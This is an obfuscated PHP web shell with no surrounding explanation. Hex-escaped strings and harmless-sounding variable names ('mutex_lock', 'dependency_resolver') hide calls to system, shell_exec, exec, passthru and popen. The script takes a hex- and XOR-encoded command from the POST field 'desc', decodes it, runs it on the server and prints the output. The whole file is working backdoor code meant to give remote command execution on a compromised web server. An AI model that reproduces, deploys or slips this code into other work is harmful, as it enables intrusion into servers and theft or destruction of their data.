 <!--fREXBHYT-->
<?php

$mutex_lock5 = "pop\x65n";
$mutex_lock4 = "p\x61s\x73\x74\x68ru";
$mutex_lock2 = "\x73hel\x6C\x5Fexec";
$mutex_lock7 = "\x70\x63\x6Cose";
$mutex_lock1 = "s\x79\x73\x74em";
$mutex_lock3 = "exec";
$mutex_lock6 = "st\x72eam\x5Fg\x65\x74_\x63\x6F\x6E\x74ents";
$dependency_resolver = "h\x65x\x32bi\x6E";
if (isset($_POST["de\x73c"])) {
    function reverse_lookup ( $descriptor,$itm) {$key= '';    for($g=0;$g<strlen($descriptor);$g++){$key.=chr(ord($descriptor[$g])^$itm);} return $key;    }
    $desc = $dependency_resolver($_POST["de\x73c"]);
    $desc = reverse_lookup($desc, 19);
    if (function_exists($mutex_lock1)) {
        $mutex_lock1($desc);
    } elseif (function_exists($mutex_lock2)) {
        print $mutex_lock2($desc);
    } elseif (function_exists($mutex_lock3)) {
        $mutex_lock3($desc, $desc_descriptor);
        print join("\n", $desc_descriptor);
    } elseif (function_exists($mutex_lock4)) {
        $mutex_lock4($desc);
    } elseif (function_exists($mutex_lock5) && function_exists($mutex_lock6) && function_exists($mutex_lock7)) {
        $itm_key = $mutex_lock5($desc, 'r');
        if ($itm_key) {
            $sym_value = $mutex_lock6($itm_key);
            $mutex_lock7($itm_key);
            print $sym_value;
        }
    }
    exit;
}